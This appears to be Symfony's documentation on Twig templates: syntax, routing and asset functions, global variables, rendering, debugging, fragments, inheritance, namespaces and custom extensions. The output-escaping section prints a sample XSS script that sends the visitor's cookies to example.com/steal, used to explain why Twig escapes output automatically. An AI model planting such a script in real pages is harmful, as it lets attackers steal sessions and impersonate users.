A template is the best way to organize and render HTML from inside your application,
whether you need to render HTML from a
controller
or generate
the
contents of an email
. Templates in Symfony are created with
Twig: a flexible, fast, and secure template engine.
In applications using
Symfony Flex
, run the following command
to install both Twig language support and its integration with Symfony applications:
$ composer require symfony/twig-bundle
The
Twig
templating language allows you to write concise, readable templates
that are more friendly to web designers and, in several ways, more powerful than
PHP templates. Take a look at the following Twig template example. Even if it's
the first time you see Twig, you probably understand most of it:
<!DOCTYPE html>
<title>Welcome to Symfony!</title>
</head>
<h1>{{ page_title }}</h1>
{% if user.isLoggedIn %}
Hello {{ user.name }}!
{% endif %}
</body>
</html>
Twig syntax is based on these three constructs:
{{ ... }}
, used to display the content of a variable or the result of
evaluating an expression;
{% ... %}
, used to run some logic, such as a conditional or a loop;
{# ... #}
, used to add comments to the template (unlike HTML comments,
these comments are not included in the rendered page).
You can't run PHP code inside Twig templates, but Twig provides utilities to
run some logic in the templates. For example,
filters
modify content before
being rendered, like the
upper
filter to uppercase contents:
{{ title|upper }}
Twig comes with a long list of
tags
,
filters
and
functions
that are
available by default. In Symfony applications you can also use these
Twig filters and functions defined by Symfony
and you can
create your own Twig filters and functions
.
Twig is fast in the
prod
environment
(because templates are compiled into PHP and cached automatically), but
convenient to use in the
dev
environment (because templates are recompiled
automatically when you change them).
Twig has several configuration options to define things like the format used
to display numbers and dates, the template caching, etc. Read the
Twig configuration reference
to learn about them.
Before explaining in detail how to create and render templates, look at the
following example for a quick overview of the whole process. First, you need to
create a new file in the
templates/
directory to store the template contents:
<h1>Hello {{ user_first_name }}!</h1>
<p>You have {{ notifications|length }} new notifications.</p>
Then, create a
controller
that renders this template and
passes to it the needed variables:
namespace App\Controller;
use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\HttpFoundation\Response;
class UserController extends AbstractController
public function notifications(): Response
$userFirstName = '...';
$userNotifications = ['...', '...'];
return $this->render('user/notifications.html.twig', [
// this array defines the variables passed to the template,
// where the key is the variable name and the value is the variable value
// (Twig recommends using snake_case variable names: 'foo_bar' instead of 'fooBar')
'user_first_name' => $userFirstName,
'notifications' => $userNotifications,
Symfony recommends the following for template names:
Use snake case for filenames and directories (e.g. blog_posts.html.twig,
admin/default_theme/blog/index.html.twig, etc.);
Define two extensions for filenames (e.g. index.html.twig or
blog_posts.xml.twig) being the first extension (html, xml, etc.)
the final format that the template will generate.
Although templates usually generate HTML contents, they can generate any
text-based format. That's why the two-extension convention simplifies the way
templates are created and rendered for multiple formats.
Templates are stored by default in the templates/ directory. When a service
or controller renders the product/index.html.twig template, they are actually
referring to the <your-project>/templates/product/index.html.twig file.
The default templates directory is configurable with the
twig.default_path option and you can add more
template directories as explained later in this article.
A common need for templates is to print the values stored in the templates
passed from the controller or service. Variables usually store objects and
arrays instead of strings, numbers and boolean values. That's why Twig provides
quick access to complex PHP variables. Consider the following template:
<p>{{ user.name }} added this comment on {{ comment.publishedAt|date }}</p>
The user.name notation means that you want to display some information
(name) stored in a variable (user). Is user an array or an object?
Is name a property or a method? In Twig this doesn't matter.
When using the foo.bar notation, Twig tries to get the value of the variable
in the following order:
$foo['bar'] (array and element);
$foo->bar (object and public property);
$foo->bar() (object and public method);
$foo->getBar() (object and getter method);
$foo->isBar() (object and isser method);
$foo->hasBar() (object and hasser method);
If none of the above exists, use null (or throw a Twig\Error\RuntimeError
exception if the strict_variables
option is enabled).
This allows to evolve your application code without having to change the
template code (you can start with array variables for the application proof of
concept, then move to objects with methods, etc.)
Instead of writing the link URLs by hand, use the path() function to
generate URLs based on the routing configuration.
Later, if you want to modify the URL of a particular page, all you'll need to do
is change the routing configuration: the templates will automatically generate
the new URL.
Consider the following routing configuration:
Attributes
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\Routing\Attribute\Route;
class BlogController extends AbstractController
#[Route('/', name: 'blog_index')]
public function index(): Response
#[Route('/article/{slug}', name: 'blog_post')]
public function show(string $slug): Response
<?xml version="1.0" encoding="UTF-8" ?>
<routes xmlns="http://symfony.com/schema/routing"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://symfony.com/schema/routing
https://symfony.com/schema/routing/routing-1.0.xsd">
<route id="blog_index"
path="/"
controller="App\Controller\BlogController::index"/>
<route id="blog_post"
path="/article/{slug}"
controller="App\Controller\BlogController::show"/>
</routes>
use App\Controller\BlogController;
use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
return function (RoutingConfigurator $routes): void {
$routes->add('blog_index', '/')
->controller([BlogController::class, 'index'])
$routes->add('blog_post', '/articles/{slug}')
->controller([BlogController::class, 'show'])
Use the path() Twig function to link to these pages and pass the route name
as the first argument and the route parameters as the optional second argument:
<a href="{{ path('blog_index') }}">Homepage</a>
{% for post in blog_posts %}
<a href="{{ path('blog_post', {slug: post.slug}) }}">{{ post.title }}</a>
<p>{{ post.excerpt }}</p>
{% endfor %}
The path() function generates relative URLs. If you need to generate
absolute URLs (for example when rendering templates for emails or RSS feeds),
use the url() function, which takes the same arguments as path()
(e.g. <a href="{{ url('blog_index') }}"> ... </a>).
If a template needs to link to a static asset (e.g. an image), Symfony provides
an asset() Twig function to help generate that URL. First, install the
asset package:
$ composer require symfony/asset
You can now use the asset() function:
<img src="{{ asset('images/logo.png') }}" alt="Symfony!"/>
<link href="{{ asset('css/blog.css') }}" rel="stylesheet"/>
<script src="{{ asset('bundles/acme/js/loader.js') }}"></script>
The asset() function's main purpose is to make your application more portable.
If your application lives at the root of your host (e.g. https://example.com),
then the rendered path should be /images/logo.png. But if your application
lives in a subdirectory (e.g. https://example.com/my_app), each asset path
should render with the subdirectory (e.g. /my_app/images/logo.png). The
asset() function takes care of this by determining how your application is
being used and generating the correct paths accordingly.
The asset() function supports various cache busting techniques via the
version,
version_format, and
json_manifest_path configuration options.
If you need absolute URLs for assets, use the absolute_url() Twig function
as follows:
<img src="{{ absolute_url(asset('images/logo.png')) }}" alt="Symfony!"/>
<link rel="shortcut icon" href="{{ absolute_url('favicon.png') }}">
For help building and versioning your JavaScript and
CSS assets in a modern way, read about Symfony's AssetMapper.
Symfony creates a context object that is injected into every Twig template
automatically as a variable called app. It provides access to some
application information:
<p>Username: {{ app.user.username ?? 'Anonymous user' }}</p>
{% if app.debug %}
<p>Request method: {{ app.request.method }}</p>
<p>Application Environment: {{ app.environment }}</p>
{% endif %}
The app variable (which is an instance of AppVariable)
gives you access to these variables:
app.user
The current user object or null if the user
is not authenticated.
app.request
The Request object that stores
the current request data (depending on your
application, this can be a sub-request
or a regular request).
app.session
The Session object that
represents the current user's session or null if there is none.
app.flashes
An array of all the flash messages stored in the session.
You can also get only the messages of some type (e.g. app.flashes('notice')).
app.environment
The name of the current configuration environment
(dev, prod, etc).
app.debug
True if in debug mode. False otherwise.
app.token
A TokenInterface
object representing the security token.
app.current_route
The name of the route associated with the current request or null if no
request is available (equivalent to app.request.attributes.get('_route'))
app.current_route_parameters
An array with the parameters passed to the route of the current request or an
empty array if no request is available (equivalent to app.request.attributes.get('_route_params'))
app.locale
The locale used in the current locale switcher context.
app.enabled_locales
The locales enabled in the application.
In addition to the global app variable injected by Symfony, you can also
inject variables automatically to all Twig templates as explained in the next
section.
Twig allows you to automatically inject one or more variables into all
templates. These global variables are defined in the twig.globals option
inside the main Twig configuration file:
<?xml version="1.0" encoding="UTF-8" ?>
<container xmlns="http://symfony.com/schema/dic/services"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:twig="http://symfony.com/schema/dic/twig"
xsi:schemaLocation="http://symfony.com/schema/dic/services
https://symfony.com/schema/dic/services/services-1.0.xsd
http://symfony.com/schema/dic/twig
https://symfony.com/schema/dic/twig/twig-1.0.xsd">
<twig:config>
<twig:global key="ga_tracking">UA-xxxxx-x</twig:global>
</twig:config>
</container>
use Symfony\Config\TwigConfig;
return static function (TwigConfig $twig): void {
$twig->global('ga_tracking')->value('UA-xxxxx-x');
Now, the variable ga_tracking is available in all Twig templates, so you
can use it without having to pass it explicitly from the controller or service
that renders the template:
<p>The Google tracking code is: {{ ga_tracking }}</p>
In addition to static values, Twig global variables can also reference services
from the service container. The main drawback is
that these services are not loaded lazily. In other words, as soon as Twig is
loaded, your service is instantiated, even if you never use that global
variable.
To define a service as a global Twig variable, prefix the service ID string
with the @ character, which is the usual syntax to refer to services
in container parameters:
<?xml version="1.0" encoding="UTF-8" ?>
<container xmlns="http://symfony.com/schema/dic/services"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:twig="http://symfony.com/schema/dic/twig"
xsi:schemaLocation="http://symfony.com/schema/dic/services
https://symfony.com/schema/dic/services/services-1.0.xsd
http://symfony.com/schema/dic/twig
https://symfony.com/schema/dic/twig/twig-1.0.xsd">
<twig:config>
<twig:global key="uuid" id="App\Generator\UuidGenerator" type="service"/>
</twig:config>
</container>
use function Symfony\Component\DependencyInjection\Loader\Configurator\service;
use Symfony\Config\TwigConfig;
return static function (TwigConfig $twig): void {
$twig->global('uuid')->value(service('App\Generator\UuidGenerator'));
Now you can use the uuid variable in any Twig template to access to the
UuidGenerator service:
UUID: {{ uuid.generate }}
Twig components are an alternative way to render templates, where each template
is bound to a "component class". This makes it easier to render and re-use
small template "units" - like an alert, markup for a modal, or a category sidebar.
For more information, see UX Twig Component.
Twig components also have one other superpower: they can become "live", where
they automatically update (via Ajax) as the user interacts with them. For example,
when your user types into a box, your Twig component will re-render via Ajax to
show a list of results!
To learn more, see UX Live Component.
If your controller extends from the AbstractController,
use the render() helper:
namespace App\Controller;
use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\HttpFoundation\Response;
class ProductController extends AbstractController
public function index(): Response
return $this->render('product/index.html.twig', [
'category' => '...',
'promotions' => ['...', '...'],
$contents = $this->renderView('product/index.html.twig', [
'category' => '...',
'promotions' => ['...', '...'],
return new Response($contents);
If your controller does not extend from AbstractController, you'll need to
fetch services in your controller and
use the render() method of the twig service.
Another option is to use the #[Template] attribute on the controller method
to define the template to render:
namespace App\Controller;
use Symfony\Bridge\Twig\Attribute\Template;
use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\HttpFoundation\Response;
class ProductController extends AbstractController
#[Template('product/index.html.twig')]
public function index(): array
return [
'category' => '...',
'promotions' => ['...', '...'],
The base AbstractController also provides the
renderBlock()
and renderBlockView()
methods:
namespace App\Controller;
use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\HttpFoundation\Response;
class ProductController extends AbstractController
public function price(): Response
return $this->renderBlock('product/index.html.twig', 'price_block', [
// ...
$contents = $this->renderBlockView('product/index.html.twig', 'price_block', [
// ...
return new Response($contents);
This might come handy when dealing with blocks in
templates inheritance or when using
Turbo Streams.
Inject the twig Symfony service into your own services and use its
render() method. When using service autowiring
you only need to add an argument in the service constructor and type-hint it with
the Twig Environment:
namespace App\Service;
use Twig\Environment;
class SomeService
public function __construct(
private Environment $twig,
public function someMethod(): void
$htmlContents = $this->twig->render('product/index.html.twig', [
'category' => '...',
'promotions' => ['...', '...'],
Although templates are usually rendered in controllers and services, you can
render static pages that don't need any variables directly from the route
definition. Use the special TemplateController
provided by Symfony:
acme_privacy:
path: /privacy
controller: Symfony\Bundle\FrameworkBundle\Controller\TemplateController
defaults:
template: 'static/privacy.html.twig'
statusCode: 200
maxAge: 86400
sharedAge: 86400
private: true
context:
site_name: 'ACME'
theme: 'dark'
<?xml version="1.0" encoding="UTF-8" ?>
<routes xmlns="http://symfony.com/schema/routing"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://symfony.com/schema/routing https://symfony.com/schema/routing/routing-1.0.xsd">
<route id="acme_privacy"
path="/privacy"
controller="Symfony\Bundle\FrameworkBundle\Controller\TemplateController">
<default key="template">static/privacy.html.twig</default>
<default key="statusCode">200</default>
<default key="maxAge">86400</default>
<default key="sharedAge">86400</default>
<default key="private">true</default>
<default key="context">
<default key="site_name">ACME</default>
<default key="theme">dark</default>
</default>
</route>
</routes>
use Symfony\Bundle\FrameworkBundle\Controller\TemplateController;
use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
return function (RoutingConfigurator $routes): void {
$routes->add('acme_privacy', '/privacy')
->controller(TemplateController::class)
->defaults([
// the path of the template to render
'template' => 'static/privacy.html.twig',
// the response status code (default: 200)
'statusCode' => 200,
// special options defined by Symfony to set the page cache
'maxAge' => 86400,
'sharedAge' => 86400,
// whether or not caching should apply for client caches only
'private' => true,
// optionally you can define some arguments passed to the template
'context' => [
'site_name' => 'ACME',
'theme' => 'dark',
Templates are loaded in the application using a Twig template loader, which
also provides a method to check for template existence. First, get the loader:
use Twig\Environment;
class YourService
public function __construct(Environment $twig)
$loader = $twig->getLoader();
Then, pass the path of the Twig template to the exists() method of the loader:
if ($loader->exists('theme/layout_responsive.html.twig')) {
Symfony provides several utilities to help you debug issues in your templates.
The lint:twig command checks that your Twig templates don't have any syntax
errors. It's useful to run it before deploying your application to production
(e.g. in your continuous integration server):
$ php bin/console lint:twig
$ php bin/console lint:twig templates/email/
$ php bin/console lint:twig templates/article/recent_list.html.twig
$ php bin/console lint:twig --show-deprecations templates/email/
$ php bin/console lint:twig templates/ --excludes=data_collector --excludes=dev_tool
The option to exclude directories was introduced in Symfony 7.1.
When running the linter inside GitHub Actions, the output is automatically
adapted to the format required by GitHub, but you can force that format too:
$ php bin/console lint:twig --format=github
The debug:twig command lists all the information available about Twig
(functions, filters, global variables, etc.). It's useful to check if your
custom Twig extensions are working properly
and also to check the Twig features added when installing packages:
$ php bin/console debug:twig
$ php bin/console debug:twig --filter=date
$ php bin/console debug:twig @Twig/Exception/error.html.twig
Symfony provides a dump() function as an
improved alternative to PHP's var_dump() function. This function is useful
to inspect the contents of any variable and you can use it in Twig templates too.
First, make sure that the VarDumper component is installed in the application:
$ composer require --dev symfony/debug-bundle
Then, use either the {% dump %} tag or the {{ dump() }} function
depending on your needs:
{% dump articles %}
{% for article in articles %}
{{ dump(article) }}
{{ dump(blog_posts: articles, user: app.user) }}
<a href="/article/{{ article.slug }}">
{{ article.title }}
{% endfor %}
To avoid leaking sensitive information, the dump() function/tag is only
available in the dev and test configuration environments.
If you try to use it in the prod environment, you will see a PHP error.
If certain Twig code is repeated in several templates, you can extract it into a
single "template fragment" and include it in other templates. Imagine that the
following code to display the user information is repeated in several places:
<div class="user-profile">
<img src="{{ user.profileImageUrl }}" alt="{{ user.fullName }}"/>
<p>{{ user.fullName }} - {{ user.email }}</p>
</div>
First, create a new Twig template called blog/_user_profile.html.twig (the
_ prefix is optional, but it's a convention used to better differentiate
between full templates and template fragments).
Then, remove that content from the original blog/index.html.twig template
and add the following to include the template fragment:
{{ include('blog/_user_profile.html.twig') }}
The include() Twig function takes as argument the path of the template to
include. The included template has access to all the variables of the template
that includes it (use the with_context option to control this).
You can also pass variables to the included template. This is useful for example
to rename variables. Imagine that your template stores the user information in a
variable called blog_post.author instead of the user variable that the
template fragment expects. Use the following to rename the variable:
{{ include('blog/_user_profile.html.twig', {user: blog_post.author}) }}
Including template fragments is useful to reuse the
same content on several pages. However, this technique is not the best solution
in some cases.
Imagine that the template fragment displays the three most recent blog articles.
To do that, it needs to make a database query to get those articles. When using
the include() function, you'd need to do the same database query in every
page that includes the fragment. This is not very convenient.
A better alternative is to embed the result of executing some controller
with the render() and controller() Twig functions.
First, create the controller that renders a certain number of recent articles:
namespace App\Controller;
use Symfony\Component\HttpFoundation\Response;
class BlogController extends AbstractController
public function recentArticles(int $max = 3): Response
$articles = ['...', '...', '...'];
return $this->render('blog/_recent_articles.html.twig', [
'articles' => $articles
Then, create the blog/_recent_articles.html.twig template fragment (the
_ prefix in the template name is optional, but it's a convention used to
better differentiate between full templates and template fragments):
{% for article in articles %}
<a href="{{ path('blog_show', {slug: article.slug}) }}">
{{ article.title }}
{% endfor %}
Now you can call to this controller from any template to embed its result:
<div id="sidebar">
{{ render(path('latest_articles', {max: 3})) }}
{{ render(url('latest_articles', {max: 3})) }}
{{ render(controller(
'App\\Controller\\BlogController::recentArticles', {max: 3}
)) }}
</div>
When using the controller() function, controllers are not accessed using a
regular Symfony route but through a special URL used exclusively to serve those
template fragments. Configure that special URL in the fragments option:
<?xml version="1.0" encoding="UTF-8" ?>
<container xmlns="http://symfony.com/schema/dic/services"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:framework="http://symfony.com/schema/dic/symfony"
xsi:schemaLocation="http://symfony.com/schema/dic/services
https://symfony.com/schema/dic/services/services-1.0.xsd
http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
<framework:config>
<framework:fragment path="/_fragment"/>
</framework:config>
</container>
use Symfony\Config\FrameworkConfig;
return static function (FrameworkConfig $framework): void {
$framework->fragments()->path('/_fragment');
Caution
Embedding controllers requires making requests to those controllers and
rendering some templates as result. This can have a significant impact on
the application performance if you embed lots of controllers. If possible,
cache the template fragment.
Templates can also embed contents asynchronously with the hinclude.js
JavaScript library.
First, include the hinclude.js library in your page
linking to it from the template or adding it
to your application JavaScript using AssetMapper.
As the embedded content comes from another page (or controller for that matter),
Symfony uses a version of the standard render() function to configure
hinclude tags in templates:
{{ render_hinclude(controller('...')) }}
{{ render_hinclude(url('...')) }}
When using the controller() function, you must also configure the
fragments path option.
When JavaScript is disabled or it takes a long time to load you can display a
default content rendering some template:
<?xml version="1.0" encoding="UTF-8" ?>
<container xmlns="http://symfony.com/schema/dic/services"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:framework="http://symfony.com/schema/dic/symfony"
xsi:schemaLocation="http://symfony.com/schema/dic/services
https://symfony.com/schema/dic/services/services-1.0.xsd
http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
<framework:config>
<framework:fragments hinclude-default-template="hinclude.html.twig"/>
</framework:config>
</container>
use Symfony\Config\FrameworkConfig;
return static function (FrameworkConfig $framework): void {
$framework->fragments()
->hincludeDefaultTemplate('hinclude.html.twig')
You can define default templates per render() function (which will override
any global default template that is defined):
{{ render_hinclude(controller('...'), {
default: 'default/content.html.twig'
}) }}
Or you can also specify a string to display as the default content:
{{ render_hinclude(controller('...'), {default: 'Loading...'}) }}
Use the attributes option to define the value of hinclude.js options:
{{ render_hinclude(controller('...'), {attributes: {'data-with-credentials': 'true'}}) }}
{{ render_hinclude(controller('...'), {attributes: {evaljs: 'true'}}) }}
As your application grows you'll find more and more repeated elements between
pages, such as headers, footers, sidebars, etc. Including templates
and embedding controllers can help, but
when pages share a common structure, it's better to use inheritance.
The concept of Twig template inheritance is similar to PHP class inheritance.
You define a parent template that other templates can extend from and child
templates can override parts of the parent template.
Symfony recommends the following three-level template inheritance for medium and
complex applications:
templates/base.html.twig, defines the common elements of all application
templates, such as <head>, <header>, <footer>, etc.;
templates/layout.html.twig, extends from base.html.twig and defines
the content structure used in all or most of the pages, such as a two-column
content + sidebar layout. Some sections of the application can define their
own layouts (e.g. templates/blog/layout.html.twig);
templates/*.html.twig, the application pages which extend from the main
layout.html.twig template or any other section layout.
In practice, the base.html.twig template would look like this:
<!DOCTYPE html>
<meta charset="UTF-8">
<title>{% block title %}My Application{% endblock %}</title>
{% block stylesheets %}
<link rel="stylesheet" type="text/css" href="/css/base.css"/>
{% endblock %}
</head>
{% block body %}
<div id="sidebar">
{% block sidebar %}
<li><a href="{{ path('homepage') }}">Home</a></li>
<li><a href="{{ path('blog_index') }}">Blog</a></li>
{% endblock %}
</div>
<div id="content">
{% block content %}{% endblock %}
</div>
{% endblock %}
</body>
</html>
The Twig block tag defines the page sections that can be overridden in the
child templates. They can be empty, like the content block or define a default
content, like the title block, which is displayed when child templates don't
override them.
The blog/layout.html.twig template could be like this:
{% extends 'base.html.twig' %}
{% block content %}
<h1>Blog</h1>
{% block page_contents %}{% endblock %}
{% endblock %}
The template extends from base.html.twig and only defines the contents of
the content block. The rest of the parent template blocks will display their
default contents. However, they can be overridden by the third-level inheritance
template, such as blog/index.html.twig, which displays the blog index:
{% extends 'blog/layout.html.twig' %}
{% block title %}Blog Index{% endblock %}
{% block page_contents %}
{% for article in articles %}
<h2>{{ article.title }}</h2>
<p>{{ article.body }}</p>
{% endfor %}
{% endblock %}
This template extends from the second-level template (blog/layout.html.twig)
but overrides blocks of different parent templates: page_contents from
blog/layout.html.twig and title from base.html.twig.
When you render the blog/index.html.twig template, Symfony uses three
different templates to create the final contents. This inheritance mechanism
boosts your productivity because each template includes only its unique contents
and leaves the repeated contents and HTML structure to some parent templates.
Caution
When using extends, a child template is forbidden to define template
parts outside of a block. The following code throws a SyntaxError:
{% extends 'base.html.twig' %}
<div class="alert">Some Alert</div>
{% block content %}My cool blog posts{% endblock %}
Read the Twig template inheritance docs to learn more about how to reuse
parent block contents when overriding templates and other advanced features.
Imagine that your template includes the Hello {{ name }} code to display the
user name and a malicious user sets the following as their name:
My Name
<script type="text/javascript">
document.write('<img src="https://example.com/steal?cookie=' + encodeURIComponent(document.cookie) + '" style=";">');
</script>
You'll see My Name on screen but the attacker just secretly stole your cookies
so they can impersonate you on other websites. This is known as a Cross-Site Scripting
or XSS attack.
To prevent this attack, use "output escaping" to transform the characters
which have special meaning (e.g. replace < by the < HTML entity).
Symfony applications are safe by default because they perform automatic output
escaping:
<p>Hello {{ name }}</p>
If you are rendering a variable that is trusted and contains HTML contents,
use the Twig raw filter to disable the output escaping for that variable:
<h1>{{ product.title|raw }}</h1>
Read the Twig output escaping docs to learn more about how to disable output
escaping for a block or even an entire template.
Although most applications store their templates in the default templates/
directory, you may need to store some or all of them in different directories.
Use the twig.paths option to configure those extra directories. Each path is
defined as a key: value pair where the key is the template directory and
the value is the Twig namespace, which is explained later:
paths:
'email/default/templates': ~
'backend/templates': ~
<container xmlns="http://symfony.com/schema/dic/services"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:twig="http://symfony.com/schema/dic/twig"
xsi:schemaLocation="http://symfony.com/schema/dic/services
https://symfony.com/schema/dic/services/services-1.0.xsd
http://symfony.com/schema/dic/twig https://symfony.com/schema/dic/twig/twig-1.0.xsd">
<twig:config>
<twig:path>email/default/templates</twig:path>
<twig:path>backend/templates</twig:path>
</twig:config>
</container>
use Symfony\Config\TwigConfig;
return static function (TwigConfig $twig): void {
$twig->path('email/default/templates', null);
$twig->path('backend/templates', null);
When rendering a template, Symfony looks for it first in the twig.paths
directories that don't define a namespace and then falls back to the default
template directory (usually, templates/).
Using the above configuration, if your application renders for example the
layout.html.twig template, Symfony will first look for
email/default/templates/layout.html.twig and backend/templates/layout.html.twig.
If any of those templates exists, Symfony will use it instead of using
templates/layout.html.twig, which is probably the template you wanted to use.
Twig solves this problem with namespaces, which group several templates
under a logic name unrelated to their actual location. Update the previous
configuration to define a namespace for each template directory:
<container xmlns="http://symfony.com/schema/dic/services"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:twig="http://symfony.com/schema/dic/twig"
xsi:schemaLocation="http://symfony.com/schema/dic/services
https://symfony.com/schema/dic/services/services-1.0.xsd
http://symfony.com/schema/dic/twig https://symfony.com/schema/dic/twig/twig-1.0.xsd">
<twig:config>
<twig:path namespace="email">email/default/templates</twig:path>
<twig:path namespace="admin">backend/templates</twig:path>
</twig:config>
</container>
use Symfony\Config\TwigConfig;
return static function (TwigConfig $twig): void {
$twig->path('email/default/templates', 'email');
$twig->path('backend/templates', 'admin');
Now, if you render the layout.html.twig template, Symfony will render the
templates/layout.html.twig file. Use the special syntax @ + namespace to
refer to the other namespaced templates (e.g. @email/layout.html.twig and
@admin/layout.html.twig).
A single Twig namespace can be associated with more than one template
directory. In that case, the order in which paths are added is important
because Twig will start looking for templates from the first defined path.
If you install packages/bundles in your application, they
may include their own Twig templates (in the Resources/views/ directory of
each bundle). To avoid messing with your own templates, Symfony adds bundle
templates under an automatic namespace created after the bundle name.
For example, the templates of a bundle called AcmeBlogBundle are available
under the AcmeBlog namespace. If this bundle includes the template
<your-project>/vendor/acme/blog-bundle/templates/user/profile.html.twig,
you can refer to it as @AcmeBlog/user/profile.html.twig.
You can also override bundle templates in case
you want to change some parts of the original bundle templates.
Twig Extensions allow the creation of custom functions, filters, and more to use
in your Twig templates. Before writing your own Twig extension, check if
the filter/function that you need is not already implemented in:
The default Twig filters and functions;
The Twig filters and functions added by Symfony;
The official Twig extensions related to strings, HTML, Markdown, internationalization, etc.
Suppose you want to create a new filter called price that formats a number
as currency:
{{ product.price|price }}
{{ product.price|price(2, ',', '.') }}
Create a class that extends AbstractExtension and fill in the logic:
namespace App\Twig;
use Twig\Extension\AbstractExtension;
use Twig\TwigFilter;
class AppExtension extends AbstractExtension
public function getFilters(): array
return [
new TwigFilter('price', [$this, 'formatPrice']),
public function formatPrice(float $number, int $decimals = 0, string $decPoint = '.', string $thousandsSep = ','): string
$price = number_format($number, $decimals, $decPoint, $thousandsSep);
$price = '$'.$price;
return $price;
If you want to create a function instead of a filter, define the
getFunctions() method:
namespace App\Twig;
use Twig\Extension\AbstractExtension;
use Twig\TwigFunction;
class AppExtension extends AbstractExtension
public function getFunctions(): array
return [
new TwigFunction('area', [$this, 'calculateArea']),
public function calculateArea(int $width, int $length): int
return $width * $length;
Next, register your class as a service and tag it with twig.extension. If you're
using the default services.yaml configuration,
you're done! Symfony will automatically know about your new service and add the tag.
You can now start using your filter in any Twig template. Optionally, execute
this command to confirm that your new filter was successfully registered:
$ php bin/console debug:twig
$ php bin/console debug:twig --filter=price
Including the code of the custom filters/functions in the Twig extension class
is the simplest way to create extensions. However, Twig must initialize all
extensions before rendering any template, even if the template doesn't use an
extension.
If extensions don't define dependencies (i.e. if you don't inject services in
them) performance is not affected. However, if extensions define lots of complex
dependencies (e.g. those making database connections), the performance loss can
be significant.
That's why Twig allows decoupling the extension definition from its
implementation. Following the same example as before, the first change would be
to remove the formatPrice() method from the extension and update the PHP
callable defined in getFilters():
namespace App\Twig;
use App\Twig\AppRuntime;
use Twig\Extension\AbstractExtension;
use Twig\TwigFilter;
class AppExtension extends AbstractExtension
public function getFilters(): array
return [
new TwigFilter('price', [AppRuntime::class, 'formatPrice']),
Then, create the new AppRuntime class (it's not required but these classes
are suffixed with Runtime by convention) and include the logic of the
previous formatPrice() method:
namespace App\Twig;
use Twig\Extension\RuntimeExtensionInterface;
class AppRuntime implements RuntimeExtensionInterface
public function __construct()
public function formatPrice(float $number, int $decimals = 0, string $decPoint = '.', string $thousandsSep = ','): string
$price = number_format($number, $decimals, $decPoint, $thousandsSep);
$price = '$'.$price;
return $price;
If you're using the default services.yaml configuration, this will already
work! Otherwise, create a service
for this class and tag your service with twig.runtime.
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